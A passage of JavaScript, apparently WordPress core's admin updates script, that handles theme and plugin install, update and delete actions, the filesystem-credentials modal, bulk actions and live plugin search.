* * @param {Object} response Response from the server. * @param {string} response.slug Slug of the theme to be installed. * @param {string} response.errorCode Error code for the error that occurred. * @param {string} response.errorMessage The error that occurred. */ wp.updates.installThemeError = function( response ) { var $card, $button, errorMessage = sprintf( /* translators: %s: Error string for a failed installation. */ __( 'Installation failed: %s' ), response.errorMessage ), $message = wp.updates.adminNotice( { className: 'update-message notice-error notice-alt', message: errorMessage } ); if ( ! wp.updates.isValidResponse( response, 'install' ) ) { return; } if ( wp.updates.maybeHandleCredentialError( response, 'install-theme' ) ) { return; } if ( 'customize' === pagenow ) { if ( $document.find( 'body' ).hasClass( 'modal-open' ) ) { $button = $( '.theme-install[data-slug="' + response.slug + '"]' ); $card = $( '.theme-overlay .theme-info' ).prepend( $message ); } else { $button = $( '.theme-install[data-slug="' + response.slug + '"]' ); $card = $button.closest( '.theme' ).addClass( 'theme-install-failed' ).append( $message ); } wp.customize.notifications.remove( 'theme_installing' ); } else { if ( $document.find( 'body' ).hasClass( 'full-overlay-active' ) ) { $button = $( '.theme-install[data-slug="' + response.slug + '"]' ); $card = $( '.install-theme-info' ).prepend( $message ); } else { $card = $( '[data-slug="' + response.slug + '"]' ).removeClass( 'focus' ).addClass( 'theme-install-failed' ).append( $message ); $button = $card.find( '.theme-install' ); } } $button .removeClass( 'updating-message' ) .attr( 'aria-label', sprintf( /* translators: %s: Theme name and version. */ _x( '%s installation failed', 'theme' ), $button.data( 'name' ) ) ) .text( __( 'Installation failed.' ) ); wp.a11y.speak( errorMessage, 'assertive' ); $document.trigger( 'wp-theme-install-error', response ); }; /** * Sends an Ajax request to the server to delete a theme. * * @since 4.6.0 * * @param {Object} args * @param {string} args.slug Theme stylesheet. * @param {deleteThemeSuccess=} args.success Optional. Success callback. Default: wp.updates.deleteThemeSuccess * @param {deleteThemeError=} args.error Optional. Error callback. Default: wp.updates.deleteThemeError * @return {$.promise} A jQuery promise that represents the request, * decorated with an abort() method. */ wp.updates.deleteTheme = function( args ) { var $button; if ( 'themes' === pagenow ) { $button = $( '.theme-actions .delete-theme' ); } else if ( 'themes-network' === pagenow ) { $button = $( '[data-slug="' + args.slug + '"]' ).find( '.row-actions a.delete' ); } args = _.extend( { success: wp.updates.deleteThemeSuccess, error: wp.updates.deleteThemeError }, args ); if ( $button && $button.html() !== __( 'Deleting...' ) ) { $button .data( 'originaltext', $button.html() ) .text( __( 'Deleting...' ) ); } wp.a11y.speak( __( 'Deleting...' ) ); // Remove previous error messages, if any. $( '.theme-info .update-message' ).remove(); $document.trigger( 'wp-theme-deleting', args ); return wp.updates.ajax( 'delete-theme', args ); }; /** * Updates the UI appropriately after a successful theme deletion. * * @since 4.6.0 * * @param {Object} response Response from the server. * @param {string} response.slug Slug of the theme that was deleted. */ wp.updates.deleteThemeSuccess = function( response ) { var $themeRows = $( '[data-slug="' + response.slug + '"]' ); if ( 'themes-network' === pagenow ) { // Removes the theme and updates rows. $themeRows.css( { backgroundColor: '#faafaa' } ).fadeOut( 350, function() { var $views = $( '.subsubsub' ), $themeRow = $( this ), themes = settings.themes, deletedRow = wp.template( 'item-deleted-row' ); if ( ! $themeRow.hasClass( 'plugin-update-tr' ) ) { $themeRow.after( deletedRow( { slug: response.slug, colspan: $( '#bulk-action-form' ).find( 'thead th:not(.hidden), thead td' ).length, name: $themeRow.find( '.theme-title strong' ).text() } ) ); } $themeRow.remove(); // Remove theme from update count. if ( -1 !== _.indexOf( themes.upgrade, response.slug ) ) { themes.upgrade = _.without( themes.upgrade, response.slug ); wp.updates.decrementCount( 'theme' ); } // Remove from views. if ( -1 !== _.indexOf( themes.disabled, response.slug ) ) { themes.disabled = _.without( themes.disabled, response.slug ); if ( themes.disabled.length ) { $views.find( '.disabled .count' ).text( '(' + themes.disabled.length + ')' ); } else { $views.find( '.disabled' ).remove(); } } if ( -1 !== _.indexOf( themes['auto-update-enabled'], response.slug ) ) { themes['auto-update-enabled'] = _.without( themes['auto-update-enabled'], response.slug ); if ( themes['auto-update-enabled'].length ) { $views.find( '.auto-update-enabled .count' ).text( '(' + themes['auto-update-enabled'].length + ')' ); } else { $views.find( '.auto-update-enabled' ).remove(); } } if ( -1 !== _.indexOf( themes['auto-update-disabled'], response.slug ) ) { themes['auto-update-disabled'] = _.without( themes['auto-update-disabled'], response.slug ); if ( themes['auto-update-disabled'].length ) { $views.find( '.auto-update-disabled .count' ).text( '(' + themes['auto-update-disabled'].length + ')' ); } else { $views.find( '.auto-update-disabled' ).remove(); } } themes.all = _.without( themes.all, response.slug ); // There is always at least one theme available. $views.find( '.all .count' ).text( '(' + themes.all.length + ')' ); } ); } // DecrementCount from update count. if ( 'themes' === pagenow ) { var theme = _.find( _wpThemeSettings.themes, { id: response.slug } ); if ( theme.hasUpdate ) { wp.updates.decrementCount( 'theme' ); } } wp.a11y.speak( _x( 'Deleted!', 'theme' ) ); $document.trigger( 'wp-theme-delete-success', response ); }; /** * Updates the UI appropriately after a failed theme deletion. * * @since 4.6.0 * * @param {Object} response Response from the server. * @param {string} response.slug Slug of the theme to be deleted. * @param {string} response.errorCode Error code for the error that occurred. * @param {string} response.errorMessage The error that occurred. */ wp.updates.deleteThemeError = function( response ) { var $themeRow = $( 'tr.inactive[data-slug="' + response.slug + '"]' ), $button = $( '.theme-actions .delete-theme' ), updateRow = wp.template( 'item-update-row' ), $updateRow = $themeRow.siblings( '#' + response.slug + '-update' ), errorMessage = sprintf( /* translators: %s: Error string for a failed deletion. */ __( 'Deletion failed: %s' ), response.errorMessage ), $message = wp.updates.adminNotice( { className: 'update-message notice-error notice-alt', message: errorMessage } ); if ( wp.updates.maybeHandleCredentialError( response, 'delete-theme' ) ) { return; } if ( 'themes-network' === pagenow ) { if ( ! $updateRow.length ) { $themeRow.addClass( 'update' ).after( updateRow( { slug: response.slug, colspan: $( '#bulk-action-form' ).find( 'thead th:not(.hidden), thead td' ).length, content: $message } ) ); } else { // Remove previous error messages, if any. $updateRow.find( '.notice-error' ).remove(); $updateRow.find( '.plugin-update' ).append( $message ); } } else { $( '.theme-info .theme-description' ).before( $message ); } $button.html( $button.data( 'originaltext' ) ); wp.a11y.speak( errorMessage, 'assertive' ); $document.trigger( 'wp-theme-delete-error', response ); }; /** * Adds the appropriate callback based on the type of action and the current page. * * @since 4.6.0 * @private * * @param {Object} data Ajax payload. * @param {string} action The type of request to perform. * @return {Object} The Ajax payload with the appropriate callbacks. */ wp.updates._addCallbacks = function( data, action ) { if ( 'import' === pagenow && 'install-plugin' === action ) { data.success = wp.updates.installImporterSuccess; data.error = wp.updates.installImporterError; } return data; }; /** * Pulls available jobs from the queue and runs them. * * @since 4.2.0 * @since 4.6.0 Can handle multiple job types. */ wp.updates.queueChecker = function() { var job; if ( wp.updates.ajaxLocked || ! wp.updates.queue.length ) { return; } job = wp.updates.queue.shift(); // Handle a queue job. switch ( job.action ) { case 'install-plugin': wp.updates.installPlugin( job.data ); break; case 'update-plugin': wp.updates.updatePlugin( job.data ); break; case 'delete-plugin': wp.updates.deletePlugin( job.data ); break; case 'install-theme': wp.updates.installTheme( job.data ); break; case 'update-theme': wp.updates.updateTheme( job.data ); break; case 'delete-theme': wp.updates.deleteTheme( job.data ); break; default: break; } }; /** * Requests the users filesystem credentials if they aren't already known. * * @since 4.2.0 * * @param {Event=} event Optional. Event interface. */ wp.updates.requestFilesystemCredentials = function( event ) { if ( false === wp.updates.filesystemCredentials.available ) { /* * After exiting the credentials request modal, * return the focus to the element triggering the request. */ if ( event && ! wp.updates.$elToReturnFocusToFromCredentialsModal ) { wp.updates.$elToReturnFocusToFromCredentialsModal = $( event.target ); } wp.updates.ajaxLocked = true; wp.updates.requestForCredentialsModalOpen(); } }; /** * Requests the users filesystem credentials if needed and there is no lock. * * @since 4.6.0 * * @param {Event=} event Optional. Event interface. */ wp.updates.maybeRequestFilesystemCredentials = function( event ) { if ( wp.updates.shouldRequestFilesystemCredentials && ! wp.updates.ajaxLocked ) { wp.updates.requestFilesystemCredentials( event ); } }; /** * Keydown handler for the request for credentials modal. * * Closes the modal when the escape key is pressed and * constrains keyboard navigation to inside the modal. * * @since 4.2.0 * * @param {Event} event Event interface. */ wp.updates.keydown = function( event ) { if ( 27 === event.keyCode ) { wp.updates.requestForCredentialsModalCancel(); } else if ( 9 === event.keyCode ) { // #upgrade button must always be the last focus-able element in the dialog. if ( 'upgrade' === event.target.id && ! event.shiftKey ) { $( '#hostname' ).trigger( 'focus' ); event.preventDefault(); } else if ( 'hostname' === event.target.id && event.shiftKey ) { $( '#upgrade' ).trigger( 'focus' ); event.preventDefault(); } } }; /** * Opens the request for credentials modal. * * @since 4.2.0 */ wp.updates.requestForCredentialsModalOpen = function() { var $modal = $( '#request-filesystem-credentials-dialog' ); $( 'body' ).addClass( 'modal-open' ); $modal.show(); $modal.find( 'input:enabled:first' ).trigger( 'focus' ); $modal.on( 'keydown', wp.updates.keydown ); }; /** * Closes the request for credentials modal. * * @since 4.2.0 */ wp.updates.requestForCredentialsModalClose = function() { $( '#request-filesystem-credentials-dialog' ).hide(); $( 'body' ).removeClass( 'modal-open' ); if ( wp.updates.$elToReturnFocusToFromCredentialsModal ) { wp.updates.$elToReturnFocusToFromCredentialsModal.trigger( 'focus' ); } }; /** * Takes care of the steps that need to happen when the modal is canceled out. * * @since 4.2.0 * @since 4.6.0 Triggers an event for callbacks to listen to and add their actions. */ wp.updates.requestForCredentialsModalCancel = function() { // Not ajaxLocked and no queue means we already have cleared things up. if ( ! wp.updates.ajaxLocked && ! wp.updates.queue.length ) { return; } _.each( wp.updates.queue, function( job ) { $document.trigger( 'credential-modal-cancel', job ); } ); // Remove the lock, and clear the queue. wp.updates.ajaxLocked = false; wp.updates.queue = []; wp.updates.requestForCredentialsModalClose(); }; /** * Displays an error message in the request for credentials form. * * @since 4.2.0 * * @param {string} message Error message. */ wp.updates.showErrorInCredentialsForm = function( message ) { var $filesystemForm = $( '#request-filesystem-credentials-form' ); // Remove any existing error. $filesystemForm.find( '.notice' ).remove(); $filesystemForm.find( '#request-filesystem-credentials-title' ).after( '<div class="notice notice-alt notice-error" role="alert"><p>' + message + '</p></div>' ); }; /** * Handles credential errors and runs events that need to happen in that case. * * @since 4.2.0 * * @param {Object} response Ajax response. * @param {string} action The type of request to perform. */ wp.updates.credentialError = function( response, action ) { // Restore callbacks. response = wp.updates._addCallbacks( response, action ); wp.updates.queue.unshift( { action: action, /* * Not cool that we're depending on response for this data. * This would feel more whole in a view all tied together. */ data: response } ); wp.updates.filesystemCredentials.available = false; wp.updates.showErrorInCredentialsForm( response.errorMessage ); wp.updates.requestFilesystemCredentials(); }; /** * Handles credentials errors if it could not connect to the filesystem. * * @since 4.6.0 * * @param {Object} response Response from the server. * @param {string} response.errorCode Error code for the error that occurred. * @param {string} response.errorMessage The error that occurred. * @param {string} action The type of request to perform. * @return {boolean} Whether there is an error that needs to be handled or not. */ wp.updates.maybeHandleCredentialError = function( response, action ) { if ( wp.updates.shouldRequestFilesystemCredentials && response.errorCode && 'unable_to_connect_to_filesystem' === response.errorCode ) { wp.updates.credentialError( response, action ); return true; } return false; }; /** * Validates an Ajax response to ensure it's a proper object. * * If the response deems to be invalid, an admin notice is being displayed. * * @param {(Object|string)} response Response from the server. * @param {function=} response.always Optional. Callback for when the Deferred is resolved or rejected. * @param {string=} response.statusText Optional. Status message corresponding to the status code. * @param {string=} response.responseText Optional. Request response as text. * @param {string} action Type of action the response is referring to. Can be 'delete', * 'update' or 'install'. */ wp.updates.isValidResponse = function( response, action ) { var error = __( 'An error occurred during the update process. Please try again.' ), errorMessage; // Make sure the response is a valid data object and not a Promise object. if ( _.isObject( response ) && ! _.isFunction( response.always ) ) { return true; } if ( _.isString( response ) && '-1' === response ) { error = __( 'An error has occurred. Please reload the page and try again.' ); } else if ( _.isString( response ) ) { error = response; } else if ( 'undefined' !== typeof response.readyState && 0 === response.readyState ) { error = __( 'Connection lost or the server is busy. Please try again later.' ); } else if ( _.isString( response.responseText ) && '' !== response.responseText ) { error = response.responseText; } else if ( _.isString( response.statusText ) ) { error = response.statusText; } switch ( action ) { case 'update': /* translators: %s: Error string for a failed update. */ errorMessage = __( 'Update failed: %s' ); break; case 'install': /* translators: %s: Error string for a failed installation. */ errorMessage = __( 'Installation failed: %s' ); break; case 'check-dependencies': /* translators: %s: Error string for a failed dependencies check. */ errorMessage = __( 'Dependencies check failed: %s' ); break; case 'activate': /* translators: %s: Error string for a failed activation. */ errorMessage = __( 'Activation failed: %s' ); break; case 'delete': /* translators: %s: Error string for a failed deletion. */ errorMessage = __( 'Deletion failed: %s' ); break; } // Messages are escaped, remove HTML tags to make them more readable. error = error.replace( /<[\/a-z][^<>]*>/gi, '' ); errorMessage = errorMessage.replace( '%s', error ); // Add admin notice. wp.updates.addAdminNotice( { id: 'unknown_error', className: 'notice-error is-dismissible', message: _.escape( errorMessage ) } ); // Remove the lock, and clear the queue. wp.updates.ajaxLocked = false; wp.updates.queue = []; // Change buttons of all running updates. $( '.button.updating-message' ) .removeClass( 'updating-message' ) .removeAttr( 'aria-label' ) .prop( 'disabled', true ) .text( __( 'Update failed.' ) ); $( '.updating-message:not(.button):not(.thickbox)' ) .removeClass( 'updating-message notice-warning' ) .addClass( 'notice-error' ) .find( 'p' ) .removeAttr( 'aria-label' ) .text( errorMessage ); wp.a11y.speak( errorMessage, 'assertive' ); return false; }; /** * Potentially adds an AYS to a user attempting to leave the page. * * If an update is on-going and a user attempts to leave the page, * opens an "Are you sure?" alert. * * @since 4.2.0 */ wp.updates.beforeunload = function() { if ( wp.updates.ajaxLocked ) { return __( 'Updates may not complete if you navigate away from this page.' ); } }; $( function() { var $pluginFilter = $( '#plugin-filter, #plugin-information-footer' ), $bulkActionForm = $( '#bulk-action-form' ), $filesystemForm = $( '#request-filesystem-credentials-form' ), $filesystemModal = $( '#request-filesystem-credentials-dialog' ), $pluginSearch = $( '.plugins-php .wp-filter-search' ), $pluginInstallSearch = $( '.plugin-install-php .wp-filter-search' ); settings = _.extend( settings, window._wpUpdatesItemCounts || {} ); if ( settings.totals ) { wp.updates.refreshCount(); } /* * Whether a user needs to submit filesystem credentials. * * This is based on whether the form was output on the page server-side. * * @see {wp_print_request_filesystem_credentials_modal() in PHP} */ wp.updates.shouldRequestFilesystemCredentials = $filesystemModal.length > 0; /** * File system credentials form submit noop-er / handler. * * @since 4.2.0 */ $filesystemModal.on( 'submit', 'form', function( event ) { event.preventDefault(); // Persist the credentials input by the user for the duration of the page load. wp.updates.filesystemCredentials.ftp.hostname = $( '#hostname' ).val(); wp.updates.filesystemCredentials.ftp.username = $( '#username' ).val(); wp.updates.filesystemCredentials.ftp.password = $( '#password' ).val(); wp.updates.filesystemCredentials.ftp.connectionType = $( 'input[name="connection_type"]:checked' ).val(); wp.updates.filesystemCredentials.ssh.publicKey = $( '#public_key' ).val(); wp.updates.filesystemCredentials.ssh.privateKey = $( '#private_key' ).val(); wp.updates.filesystemCredentials.fsNonce = $( '#_fs_nonce' ).val(); wp.updates.filesystemCredentials.available = true; // Unlock and invoke the queue. wp.updates.ajaxLocked = false; wp.updates.queueChecker(); wp.updates.requestForCredentialsModalClose(); } ); /** * Closes the request credentials modal when clicking the 'Cancel' button or outside of the modal. * * @since 4.2.0 */ $filesystemModal.on( 'click', '[data-js-action="close"], .notification-dialog-background', wp.updates.requestForCredentialsModalCancel ); /** * Hide SSH fields when not selected. * * @since 4.2.0 */ $filesystemForm.on( 'change', 'input[name="connection_type"]', function() { $( '#ssh-keys' ).toggleClass( 'hidden', ( 'ssh' !== $( this ).val() ) ); } ).trigger( 'change' ); /** * Handles events after the credential modal was closed. * * @since 4.6.0 * * @param {Event} event Event interface. * @param {string} job The install/update.delete request. */ $document.on( 'credential-modal-cancel', function( event, job ) { var $updatingMessage = $( '.updating-message' ), $message, originalText; if ( 'import' === pagenow ) { $updatingMessage.removeClass( 'updating-message' ); } else if ( 'plugins' === pagenow || 'plugins-network' === pagenow ) { if ( 'update-plugin' === job.action ) { $message = $( 'tr[data-plugin="' + job.data.plugin + '"]' ).find( '.update-message' ); } else if ( 'delete-plugin' === job.action ) { $message = $( '[data-plugin="' + job.data.plugin + '"]' ).find( '.row-actions a.delete' ); } } else if ( 'themes' === pagenow || 'themes-network' === pagenow ) { if ( 'update-theme' === job.action ) { $message = $( '[data-slug="' + job.data.slug + '"]' ).find( '.update-message' ); } else if ( 'delete-theme' === job.action && 'themes-network' === pagenow ) { $message = $( '[data-slug="' + job.data.slug + '"]' ).find( '.row-actions a.delete' ); } else if ( 'delete-theme' === job.action && 'themes' === pagenow ) { $message = $( '.theme-actions .delete-theme' ); } } else { $message = $updatingMessage; } if ( $message && $message.hasClass( 'updating-message' ) ) { originalText = $message.data( 'originaltext' ); if ( 'undefined' === typeof originalText ) { originalText = $( '<p>' ).html( $message.find( 'p' ).data( 'originaltext' ) ); } $message .removeClass( 'updating-message' ) .html( originalText ); if ( 'plugin-install' === pagenow || 'plugin-install-network' === pagenow ) { if ( 'update-plugin' === job.action ) { $message.attr( 'aria-label', sprintf( /* translators: %s: Plugin name and version. */ _x( 'Update %s now', 'plugin' ), $message.data( 'name' ) ) ); } else if ( 'install-plugin' === job.action ) { $message.attr( 'aria-label', sprintf( /* translators: %s: Plugin name. */ _x( 'Install %s now', 'plugin' ), $message.data( 'name' ) ) ); } } } wp.a11y.speak( __( 'Update canceled.' ) ); } ); /** * Click handler for plugin updates in List Table view. * * @since 4.2.0 * * @param {Event} event Event interface. */ $bulkActionForm.on( 'click', '[data-plugin] .update-link', function( event ) { var $message = $( event.target ), $pluginRow = $message.parents( 'tr' ); event.preventDefault(); if ( $message.hasClass( 'updating-message' ) || $message.hasClass( 'button-disabled' ) ) { return; } wp.updates.maybeRequestFilesystemCredentials( event ); // Return the user to the input box of the plugin's table row after closing the modal. wp.updates.$elToReturnFocusToFromCredentialsModal = $pluginRow.find( '.check-column input' ); wp.updates.updatePlugin( { plugin: $pluginRow.data( 'plugin' ), slug: $pluginRow.data( 'slug' ) } ); } ); /** * Click handler for plugin updates in plugin install view. * * @since 4.2.0 * * @param {Event} event Event interface. */ $pluginFilter.on( 'click', '.update-now', function( event ) { var $button = $( event.target ); event.preventDefault(); if ( $button.hasClass( 'updating-message' ) || $button.hasClass( 'button-disabled' ) ) { return; } wp.updates.maybeRequestFilesystemCredentials( event ); wp.updates.updatePlugin( { plugin: $button.data( 'plugin' ), slug: $button.data( 'slug' ) } ); } ); /** * Click handler for plugin installs in plugin install view. * * @since 4.6.0 * * @param {Event} event Event interface. */ $pluginFilter.on( 'click', '.install-now', function( event ) { var $button = $( event.target ); event.preventDefault(); if ( $button.hasClass( 'updating-message' ) || $button.hasClass( 'button-disabled' ) ) { return; } if ( wp.updates.shouldRequestFilesystemCredentials && ! wp.updates.ajaxLocked ) { wp.updates.requestFilesystemCredentials( event ); $document.on( 'credential-modal-cancel', function() { var $message = $( '.install-now.updating-message' ); $message .removeClass( 'updating-message' ) .text( _x( 'Install Now', 'plugin' ) ); wp.a11y.speak( __( 'Update canceled.' ) ); } ); } wp.updates.installPlugin( { slug: $button.data( 'slug' ) } ); } ); /** * Click handler for plugin activations in plugin activation modal view. * * @since 6.5.0 * @since 6.5.4 Redirect the parent window to the activation URL. * * @param {Event} event Event interface. */ $document.on( 'click', '#plugin-information-footer .activate-now', function( event ) { event.preventDefault(); window.parent.location.href = $( event.target ).attr( 'href' ); }); /** * Click handler for importer plugins installs in the Import screen. * * @since 4.6.0 * * @param {Event} event Event interface. */ $document.on( 'click', '.importer-item .install-now', function( event ) { var $button = $( event.target ), pluginName = $( this ).data( 'name' ); event.preventDefault(); if ( $button.hasClass( 'updating-message' ) ) { return; } if ( wp.updates.shouldRequestFilesystemCredentials && ! wp.updates.ajaxLocked ) { wp.updates.requestFilesystemCredentials( event ); $document.on( 'credential-modal-cancel', function() { $button .removeClass( 'updating-message' ) .attr( 'aria-label', sprintf( /* translators: %s: Plugin name. */ _x( 'Install %s now', 'plugin' ), pluginName ) ) .text( _x( 'Install Now', 'plugin' ) ); wp.a11y.speak( __( 'Update canceled.' ) ); } ); } wp.updates.installPlugin( { slug: $button.data( 'slug' ), pagenow: pagenow, success: wp.updates.installImporterSuccess, error: wp.updates.installImporterError } ); } ); /** * Click handler for plugin deletions. * * @since 4.6.0 * * @param {Event} event Event interface. */ $bulkActionForm.on( 'click', '[data-plugin] a.delete', function( event ) { var $pluginRow = $( event.target ).parents( 'tr' ), confirmMessage; if ( $pluginRow.hasClass( 'is-uninstallable' ) ) { confirmMessage = sprintf( /* translators: %s: Plugin name. */ __( 'Are you sure you want to delete %s and its data?' ), $pluginRow.find( '.plugin-title strong' ).text() ); } else { confirmMessage = sprintf( /* translators: %s: Plugin name. */ __( 'Are you sure you want to delete %s?' ), $pluginRow.find( '.plugin-title strong' ).text() ); } event.preventDefault(); if ( ! window.confirm( confirmMessage ) ) { return; } wp.updates.maybeRequestFilesystemCredentials( event ); wp.updates.deletePlugin( { plugin: $pluginRow.data( 'plugin' ), slug: $pluginRow.data( 'slug' ) } ); } ); /** * Click handler for theme updates. * * @since 4.6.0 * * @param {Event} event Event interface. */ $document.on( 'click', '.themes-php.network-admin .update-link', function( event ) { var $message = $( event.target ), $themeRow = $message.parents( 'tr' ); event.preventDefault(); if ( $message.hasClass( 'updating-message' ) || $message.hasClass( 'button-disabled' ) ) { return; } wp.updates.maybeRequestFilesystemCredentials( event ); // Return the user to the input box of the theme's table row after closing the modal. wp.updates.$elToReturnFocusToFromCredentialsModal = $themeRow.find( '.check-column input' ); wp.updates.updateTheme( { slug: $themeRow.data( 'slug' ) } ); } ); /** * Click handler for theme deletions. * * @since 4.6.0 * * @param {Event} event Event interface. */ $document.on( 'click', '.themes-php.network-admin a.delete', function( event ) { var $themeRow = $( event.target ).parents( 'tr' ), confirmMessage = sprintf( /* translators: %s: Theme name. */ __( 'Are you sure you want to delete %s?' ), $themeRow.find( '.theme-title strong' ).text() ); event.preventDefault(); if ( ! window.confirm( confirmMessage ) ) { return; } wp.updates.maybeRequestFilesystemCredentials( event ); wp.updates.deleteTheme( { slug: $themeRow.data( 'slug' ) } ); } ); /** * Bulk action handler for plugins and themes. * * Handles both deletions and updates. * * @since 4.6.0 * * @param {Event} event Event interface. */ $bulkActionForm.on( 'click', '[type="submit"]:not([name="clear-recent-list"])', function( event ) { var bulkAction = $( event.target ).siblings( 'select' ).val(), itemsSelected = $bulkActionForm.find( 'input[name="checked[]"]:checked' ), success = 0, error = 0, errorMessages = [], type, action; // Determine which type of item we're dealing with. switch ( pagenow ) { case 'plugins': case 'plugins-network': type = 'plugin'; break; case 'themes-network': type = 'theme'; break; default: return; } // Bail if there were no items selected. if ( ! itemsSelected.length ) { bulkAction = false; } // Determine the type of request we're dealing with. switch ( bulkAction ) { case 'update-selected': action = bulkAction.replace( 'selected', type ); break; case 'delete-selected': var confirmMessage = 'plugin' === type ? __( 'Are you sure you want to delete the selected plugins and their data?' ) : __( 'Caution: These themes may be active on other sites in the network. Are you sure you want to proceed?' ); if ( ! window.confirm( confirmMessage ) ) { event.preventDefault(); return; } action = bulkAction.replace( 'selected', type ); break; default: return; } wp.updates.maybeRequestFilesystemCredentials( event ); event.preventDefault(); // Un-check the bulk checkboxes. $bulkActionForm.find( '.manage-column [type="checkbox"]' ).prop( 'checked', false ); $document.trigger( 'wp-' + type + '-bulk-' + bulkAction, itemsSelected ); // Find all the checkboxes which have been checked. itemsSelected.each( function( index, element ) { var $checkbox = $( element ), $itemRow = $checkbox.parents( 'tr' ); // Only add update-able items to the update queue. if ( 'update-selected' === bulkAction && ( ! $itemRow.hasClass( 'update' ) || $itemRow.find( 'notice-error' ).length ) ) { // Un-check the box. $checkbox.prop( 'checked', false ); return; } // Don't add items to the update queue again, even if the user clicks the update button several times. if ( 'update-selected' === bulkAction && $itemRow.hasClass( 'is-enqueued' ) ) { return; } $itemRow.addClass( 'is-enqueued' ); // Add it to the queue. wp.updates.queue.push( { action: action, data: { plugin: $itemRow.data( 'plugin' ), slug: $itemRow.data( 'slug' ) } } ); } ); // Display bulk notification for updates of any kind. $document.on( 'wp-plugin-update-success wp-plugin-update-error wp-theme-update-success wp-theme-update-error', function( event, response ) { var $itemRow = $( '[data-slug="' + response.slug + '"]' ), $bulkActionNotice, itemName; if ( 'wp-' + response.update + '-update-success' === event.type ) { success++; } else { itemName = response.pluginName ? response.pluginName : $itemRow.find( '.column-primary strong' ).text(); error++; errorMessages.push( itemName + ': ' + response.errorMessage ); } $itemRow.find( 'input[name="checked[]"]:checked' ).prop( 'checked', false ); wp.updates.adminNotice = wp.template( 'wp-bulk-updates-admin-notice' ); var successMessage = null; if ( success ) { if ( 'plugin' === response.update ) { successMessage = sprintf( /* translators: %s: Number of plugins. */ _n( '%s plugin successfully updated.', '%s plugins successfully updated.', success ), success ); } else { successMessage = sprintf( /* translators: %s: Number of themes. */ _n( '%s theme successfully updated.', '%s themes successfully updated.', success ), success ); } } var errorMessage = null; if ( error ) { errorMessage = sprintf( /* translators: %s: Number of failed updates. */ _n( '%s update failed.', '%s updates failed.', error ), error ); } wp.updates.addAdminNotice( { id: 'bulk-action-notice', className: 'bulk-action-notice', successMessage: successMessage, errorMessage: errorMessage, errorMessages: errorMessages, type: response.update } ); $bulkActionNotice = $( '#bulk-action-notice' ).on( 'click', 'button', function() { // $( this ) is the clicked button, no need to get it again. $( this ) .toggleClass( 'bulk-action-errors-collapsed' ) .attr( 'aria-expanded', ! $( this ).hasClass( 'bulk-action-errors-collapsed' ) ); // Show the errors list. $bulkActionNotice.find( '.bulk-action-errors' ).toggleClass( 'hidden' ); } ); if ( error > 0 && ! wp.updates.queue.length ) { $( 'html, body' ).animate( { scrollTop: 0 } ); } } ); // Reset admin notice template after #bulk-action-notice was added. $document.on( 'wp-updates-notice-added', function() { wp.updates.adminNotice = wp.template( 'wp-updates-admin-notice' ); } ); // Check the queue, now that the event handlers have been added. wp.updates.queueChecker(); } ); if ( $pluginInstallSearch.length ) { $pluginInstallSearch.attr( 'aria-describedby', 'live-search-desc' ); } // Track the previous search string length. var previousSearchStringLength = 0; wp.updates.shouldSearch = function( searchStringLength ) { var shouldSearch = searchStringLength >= wp.updates.searchMinCharacters || previousSearchStringLength > wp.updates.searchMinCharacters; previousSearchStringLength = searchStringLength; return shouldSearch; }; /** * Handles changes to the plugin search box on the new-plugin page, * searching the repository dynamically. * * @since 4.6.0 */ $pluginInstallSearch.on( 'keyup input', _.debounce( function( event, eventtype ) { var $searchTab = $( '.plugin-install-search' ), data, searchLocation, searchStringLength = $pluginInstallSearch.val().length; data = { _ajax_nonce: wp.updates.ajaxNonce, s: encodeURIComponent( event.target.value ), tab: 'search', type: $( '#typeselector' ).val(), pagenow: pagenow }; searchLocation = location.href.split( '?' )[ 0 ] + '?' + $.param( _.omit( data, [ '_ajax_nonce', 'pagenow' ] ) ); // Set the autocomplete attribute, turning off autocomplete 1 character before ajax search kicks in. if ( wp.updates.shouldSearch( searchStringLength ) ) { $pluginInstallSearch.attr( 'autocomplete', 'off' ); } else { $pluginInstallSearch.attr( 'autocomplete', 'on' ); return; } // Clear on escape. if ( 'keyup' === event.type && 27 === event.which ) { event.target.value = ''; } if ( wp.updates.searchTerm === data.s && 'typechange' !== eventtype ) { return; } else { $pluginFilter.empty(); wp.updates.searchTerm = data.s; } if ( window.history && window.history.replaceState ) { window.history.replaceState( null, '', searchLocation ); } if ( ! $searchTab.length ) { $searchTab = $( '<li class="plugin-install-search" />' ) .append( $( '<a />', { 'class': 'current', 'href': searchLocation, 'text': __( 'Search Results' ) } ) ); $( '.wp-filter .filter-links .current' ) .removeClass( 'current' ) .parents( '.filter-links' ) .prepend( $searchTab ); $pluginFilter.prev( 'p' ).remove(); $( '.plugins-popular-tags-wrapper' ).remove(); } if ( 'undefined' !== typeof wp.updates.searchRequest ) { wp.updates.searchRequest.abort(); } $( 'body' ).addClass( 'loading-content' ); wp.updates.searchRequest = wp.ajax.post( 'search-install-plugins', data ).done( function( response ) { $( 'body' ).removeClass( 'loading-content' ); $pluginFilter.append( response.items ); delete wp.updates.searchRequest; if ( 0 === response.count ) { wp.a11y.speak( __( 'You do not appear to have any plugins available at this time.' ) ); } else { wp.a11y.speak( sprintf( /* translators: %s: Number of plugins. */ __( 'Number of plugins found: %d' ), response.count ) ); } } ); }, 1000 ) ); if ( $pluginSearch.length ) { $pluginSearch.attr( 'aria-describedby', 'live-search-desc' ); } /** * Handles changes to the plugin search box on the Installed Plugins screen, * searching the plugin list dynamically. * * @since 4.6.0 */ $pluginSearch.on( 'keyup input', _.debounce( function( event ) { var data = { _ajax_nonce: wp.updates.ajaxNonce, s: encodeURIComponent( event.target.value ), pagenow: pagenow, plugin_status: 'all' }, queryArgs, searchStringLength = $pluginSearch.val().length; // Set the autocomplete attribute, turning off autocomplete 1 character before ajax search kicks in. if ( wp.updates.shouldSearch( searchStringLength ) ) { $pluginSearch.attr( 'autocomplete', 'off' ); } else { $pluginSearch.attr( 'autocomplete', 'on' ); return; } // Clear on escape. if ( 'keyup' === event.type && 27 === event.which ) { event.target.value = ''; } if ( wp.updates.searchTerm === data.s ) { return; } else { wp.updates.searchTerm = data.s; } queryArgs = _.object( _.compact( _.map( location.search.slice( 1 ).split( '&' ), function( item ) { if ( item ) return item.split( '=' ); } ) ) ); data.plugin_status = queryArgs.plugin_status || 'all'; if ( window.history && window.history.replaceState ) { window.history.replaceState( null, '', location.href.split( '?' )[ 0 ] + '?s=' + data.s + '&plugin_status=' + data.plugin_status ); } if ( 'undefined' !== typeof wp.updates.searchRequest ) { wp.updates.searchRequest.abort(); } $bulkActionForm.empty(); $( 'body' ).addClass( 'loading-content' ); $( '.subsubsub .current' ).removeClass( 'current' 